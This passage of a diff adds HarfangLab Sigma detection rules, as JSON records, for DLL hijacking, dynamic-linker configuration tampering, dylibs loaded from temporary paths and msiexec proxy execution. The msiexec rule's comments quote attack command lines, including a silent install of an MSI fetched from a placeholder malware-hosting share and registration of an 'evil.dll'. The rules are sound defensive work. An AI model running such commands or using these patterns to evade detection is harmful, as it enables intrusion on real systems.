filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fe6176aa-6160-4f56-a09c-fd15d655fb88",
+  "rule_name": "DLL Hijacking via MBLCTR.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via MBLCTR.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fe94c773-1caa-44a0-876e-01e264b73dea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094827Z",
+  "creation_date": "2026-03-23T11:45:34.094829Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094833Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_at.yml",
+  "content": "title: DLL Hijacking via at.exe\nid: fe94c773-1caa-44a0-876e-01e264b73dea\ndescription: |\n    Detects potential Windows DLL Hijacking via at.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'at.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\cryptdll.dll'\n            - '\\d3d10_1core.dll'\n            - '\\d3d10_1.dll'\n            - '\\d3d10core.dll'\n            - '\\d3d10.dll'\n            - '\\d3d11.dll'\n            - '\\dxgi.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\netutils.dll'\n            - '\\NtlmShared.dll'\n            - '\\schedcli.dll'\n            - '\\snmpapi.dll'\n            - '\\sspicli.dll'\n            - '\\winmm.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fe94c773-1caa-44a0-876e-01e264b73dea",
+  "rule_name": "DLL Hijacking via at.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via at.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fe966a39-d58c-4285-9fc4-25b1b3a10425",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.677667Z",
+  "creation_date": "2026-03-23T11:45:35.297608Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297612Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://tbhaxor.com/exploiting-shared-library-misconfigurations/",
+    "https://attack.mitre.org/techniques/T1574/006/"
+  ],
+  "name": "t1574_006_ld_config_modified.yml",
+  "content": "title: Dynamic Linker Configuration Modified\nid: fe966a39-d58c-4285-9fc4-25b1b3a10425\ndescription: |\n    Detects an attempt to modify the configuration of the dynamic linker (/etc/ld.so.conf).\n    These modifications can be used by attackers to hijack library loading processes, enabling malicious library injection, process monitoring, or the concealment of malicious activities through library preloading.\n    It is recommended to investigate all dynamic linker configuration changes and identify unauthorized library loading attempts.\nreferences:\n    - https://tbhaxor.com/exploiting-shared-library-misconfigurations/\n    - https://attack.mitre.org/techniques/T1574/006/\ndate: 2022/11/10\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1574.006\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Hijacking\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path:\n            - '/etc/ld.so.conf'\n            - '/etc/ld.so.conf.d/*'\n        - TargetPath:\n            - '/etc/ld.so.conf'\n            - '/etc/ld.so.conf.d/*'\n    is_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf'\n            - '/usr/bin/python* /usr/bin/dnf'\n            - 'dnf upgrade'\n            - 'dnf update'\n            - 'dnf reinstall'\n            - 'dnf remove'\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n    exclusion_rpm:\n        - ProcessImage: '/usr/bin/rpm'\n        - ProcessParentCommandLine|startswith: '/bin/sh /var/tmp/rpm-tmp.'\n        - ProcessGrandparentCommandLine|startswith: '/bin/sh /var/tmp/rpm-tmp.'\n    exclusion_pacman:\n        ProcessImage: '/usr/bin/pacman'\n    exclusion_package_cleanup:\n        ProcessCommandLine|startswith: '/usr/bin/python /bin/package-cleanup '\n\n    exclusion_pum_worker:\n        ProcessCommandLine|startswith: '/usr/libexec/platform-python -Estt /usr/local/psa/admin/sbin/pum_worker'\n\n    exclusion_kaniko:\n        ProcessImage: '/kaniko/executor'\n\n    exclusion_sophos:\n        ProcessImage: '/opt/sophos-av/engine/_/savscand.1'\n\n    exclusion_docker:\n        ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n\n    exclusion_docker2:\n        ProcessImage|endswith: '/bin/dockerd'\n        ProcessCommandLine: 'docker-applyLayer *'\n\n    exclusion_docker3:\n        ProcessCommandLine|contains|all:\n            - 'docker-untar'\n            - '/var/lib/docker/overlay'\n        ProcessParentCommandLine|startswith: '/usr/sbin/dockerd'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_chmod:\n        ProcessCommandLine: '/bin/chmod'\n\n    exclusion_vmware:\n        ProcessCommandLine|contains:\n            - 'vmware-config-tools'\n            - 'vmware-uninstall-tools.pl'\n\n    exclusion_podman:\n        ProcessImage: '/usr/bin/podman'\n\n    exclusion_qemu:\n        ProcessImage: '/usr/bin/qemu-aarch64-static'\n        ProcessParentImage: '/usr/bin/qemu-aarch64-static'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_alternatives:\n        ProcessImage:\n            - '/usr/sbin/alternatives'\n            - '/usr/bin/update-alternatives'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_installphp:\n        ProcessCommandLine|startswith: '/bin/sh /usr/local/bin/install-php-extensions'\n\n    exclusion_zscaler:\n        ProcessCommandLine:\n            - './zscaler-linux-*-installer.run'\n            - 'sed -i /zscaler/d /etc/ld.so.conf'\n\n    exclusion_packagekitd:\n        ProcessImage: '/usr/libexec/packagekitd'\n\n    exclusion_nvidia:\n        ProcessImage:\n            - '/usr/bin/nvidia-ctk'\n            - '/usr/bin/nvidia-cdi-hook'\n\n    exclusion_buildah:\n        - ProcessImage: '/usr/bin/buildah'\n        - ProcessAncestors|contains: '|/usr/bin/buildah|'\n\n    exclusion_crio:\n        - ProcessAncestors|contains: '|/usr/bin/crio|'\n        - ProcessParentImage: '/usr/bin/crio'\n\n\n    condition: selection and not is_read_access and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fe966a39-d58c-4285-9fc4-25b1b3a10425",
+  "rule_name": "Dynamic Linker Configuration Modified",
+  "rule_description": "Detects an attempt to modify the configuration of the dynamic linker (/etc/ld.so.conf).\nThese modifications can be used by attackers to hijack library loading processes, enabling malicious library injection, process monitoring, or the concealment of malicious activities through library preloading.\nIt is recommended to investigate all dynamic linker configuration changes and identify unauthorized library loading attempts.\n",
+  "rule_creation_date": "2022-11-10",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "feae5a22-5c3e-491a-8dcf-83c9d04fa8f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296411Z",
+  "creation_date": "2026-03-23T11:45:35.296413Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296417Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/north-korea-supply-chain/?hl=en",
+    "https://attack.mitre.org/techniques/T1129/"
+  ],
+  "name": "t1129_dylib_tmp.yml",
+  "content": "title: Dylib Loaded from a Temporary Path\nid: feae5a22-5c3e-491a-8dcf-83c9d04fa8f8\ndescription: |\n    Detects a dylib library being loaded from a temporary folder.\n    Adversaries load libraries from a temporary path to extend capabilities of their tools dynamically.\n    It is recommended to check the origin of the library to determine its legitimacy.\nreferences:\n    - https://cloud.google.com/blog/topics/threat-intelligence/north-korea-supply-chain/?hl=en\n    - https://attack.mitre.org/techniques/T1129/\ndate: 2024/09/26\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1129\n    - classification.macOS.Source.LibraryLoaded\nlogsource:\n    category: library_event\n    product: macos\ndetection:\n    selection:\n        ImageLoaded|re: '^/private/tmp/[^/]+$'\n\n    filter_path:\n        ProcessImage|startswith: '/private/tmp/'\n\n    exclusion_path:\n        Image|startswith:\n            - '/Applications/'\n            - '/Library/Application Support/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n            - '/system/library/frameworks/audiotoolbox.framework/xpcservices/auhostingservicexpc_arrow.xpc/contents/macos/auhostingservicexpc_arrow'\n            - '/opt/homebrew/Cellar/opencode/*/libexec/lib/node_modules/opencode-ai/node_modules/opencode-darwin-arm64/bin/opencode'\n\n    exclusion_claude:\n        ProcessSignatureSigningId: 'com.anthropic.claude-code'\n        ProcessSigned: 'true'\n\n    exclusion_orc:\n        ImageLoaded|startswith: '/private/tmp/orcexec'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "feae5a22-5c3e-491a-8dcf-83c9d04fa8f8",
+  "rule_name": "Dylib Loaded from a Temporary Path",
+  "rule_description": "Detects a dylib library being loaded from a temporary folder.\nAdversaries load libraries from a temporary path to extend capabilities of their tools dynamically.\nIt is recommended to check the origin of the library to determine its legitimacy.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1129"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fef9352b-f1be-4144-be70-7134db04d446",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620284Z",
+  "creation_date": "2026-03-23T11:45:34.620286Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620290Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/",
+    "https://attack.mitre.org/techniques/T1218/007/"
+  ],
+  "name": "t1218_007_msiexec.yml",
+  "content": "title: Suspicious msiexec.exe Execution\nid: fef9352b-f1be-4144-be70-7134db04d446\ndescription: |\n    Detects suspicious execution of the legitimate Windows binary msiexec.exe.\n    Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\n    Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).\n    It is recommended to verify the legitimity of the MSI file.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Msiexec/\n    - https://attack.mitre.org/techniques/T1218/007/\ndate: 2021/07/09\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.007\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1546.016\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Msiexec\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: 'msiexec.exe'\n        - OriginalFileName: 'msiexec.exe'\n\n    # Installs the target .MSI file silently\n    # msiexec /quiet /i cmd.msi\n    selection_install:\n        CommandLine|contains|all:\n            - ' /quiet '\n            - ' /i '\n\n    # https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/\n    # cmd /c msiexec /qn /i \\\\<machine-hosting-malware>\\frs\\pikujuwusewa.msi\n    selection_parent_cmd:\n        ParentCommandLine|contains|all:\n            - 'cmd'\n            - ' /c '\n            - ' /qn '\n            - ' /i '\n            - ' \\\\'\n\n    # Calls DLLRegisterServer to register the target DLL\n    # msiexec /y \"C:\\folder\\evil.dll\"\n    selection_dllregisterserver:\n        CommandLine|contains: ' /y '\n\n    # This is handled by the rule 6cedca3d-1b27-4809-9533-e910d016c287\n    filter_remote:\n        CommandLine|contains:\n            - ' http://'\n            - ' https://'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_directory:\n        CommandLine|contains:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Windows\\CCM\\'\n            - '?:\\Program Files\\SMS_CCM\\'\n            - '?:\\Windows\\system32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\ProgramData\\'\n            - '?:\\Windows\\Installer\\{????????-????-????-????-????????????}\\'\n\n    exclusion_commandline1:\n        CommandLine|contains:\n            - 'hurukai.io PORT=443 PROTO=https KEY='\n            - 'hurukai.io PORT=443 PROTO=https SRV_SIG_PUB=* KEY=* PASSWORD=*'\n            - ' REINSTALLMODE='\n            - '\\Temp\\FortiClientVPN\\FortiClientVPN.msi /quiet /passive /norestart'\n            # https://nxlog.co/products/nxlog-community-edition/download?field_pf_product_nid=All\n            - '\\nxlog-ce-?.??.????.msi'\n            - '\\nxlog-?.??.????_windows_x??.msi'\n            - '\\nxlog-trial-?.??.????_windows_x??.msi'\n            # /i \"C:\\AppData\\Roaming\\Matrix42\\Universal Agent Framework 1.0.125.0\\install\\Matrix42 Universal Agent Framework Setup 64.msi\" /quiet /norestart /l*v \"C:\\windows\\TEMP\\Matrix42\\Matrix42UniversalAgentFramework\\MSI_UAF_UEM Agent Windows.2108.1.2.0.log\" AI_SETUPEXEPATH=\"C:\\windows\\TEMP\\Matrix42\\Matrix42UniversalAgentFramework\\Matrix42 Universal Agent Framework Setup 64.exe\" SETUPEXEDIR=\"C:\\windows\\TEMP\\Matrix42\\Matrix42UniversalAgentFramework\\\" EXE_CMD_LINE=\"/exenoui /exenoupdates /exelang 0 /noprereqs /quiet /norestart /l*v \"\"C:\\windows\\TEMP\\Matrix42\\Matrix42UniversalAgentFramework\\MSI_UAF_UEM Agent Windows.2108.1.2.0.log\"\" \" AI_FOUND_PREREQS=\".NET Framework 4.0\"\n            - '\\Matrix42\\Matrix42UniversalAgentFramework\\'\n            # MSIEXEC.EXE /i C:\\PROGRA~3\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\K9KYB0~1\\x64\\Lenovo Calliope USB Keyboard.msi /qn TRANSFORMS=1033.MST SETUPEXEDIR=C:\\PROGRA~3\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\K9KYB0~1\\x64 SETUPEXENAME=setup_x64.exe\n            - '\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\'\n\n    exclusion_commandline2:\n        # Citrix Update TrolleyExpress.exe\n        ParentImage: '?:\\Windows\\SysWOW64\\config\\systemprofile\\Citrix\\UpdaterBinaries\\\\????????-????-????-????-????????????\\CitrixReceiver\\Ctx-????????-????-????-????-????????????\\Extract\\TrolleyExpress.exe'\n        CommandLine: 'msiexec /i /quiet'\n\n    exclusion_commandline3:\n        # Webex\n        # https://help.webex.com/fr-fr/article/nw5p67g/Installation-de-l%E2%80%99application-|-Webex-et-mise-%C3%A0-jour-automatique#Cisco_Reference.dita_de4f9295-316d-4e1c-8f47-329ddfdb984d\n        CommandLine|contains|all:\n            - '\\Webex.msi'\n            - 'ENABLEOUTLOOKINTEGRATION='\n            - 'DEFAULT_THEME='\n            - 'AUTOSTART_WITH_WINDOWS='\n            - 'ACCEPT_EULA='\n            - 'ALLUSERS='\n\n    exclusion_commandline4:\n        ParentImage: '?:\\Packages\\Plugins\\Microsoft.Azure.Diagnostics.IaaSDiagnostics\\\\*\\DiagnosticsPlugin.exe'\n        CommandLine: 'msiexec.exe /quiet /norestart /i ?:\\Packages\\Plugins\\Microsoft.Azure.Diagnostics.IaaSDiagnostics\\\\*\\InstrumentationEngine\\InstrumentationEngine.Installer.msi'\n\n    exclusion_parent:\n        - ParentImage:\n            - '?:\\Program Files\\HarfangLab\\hurukai.exe'\n            - 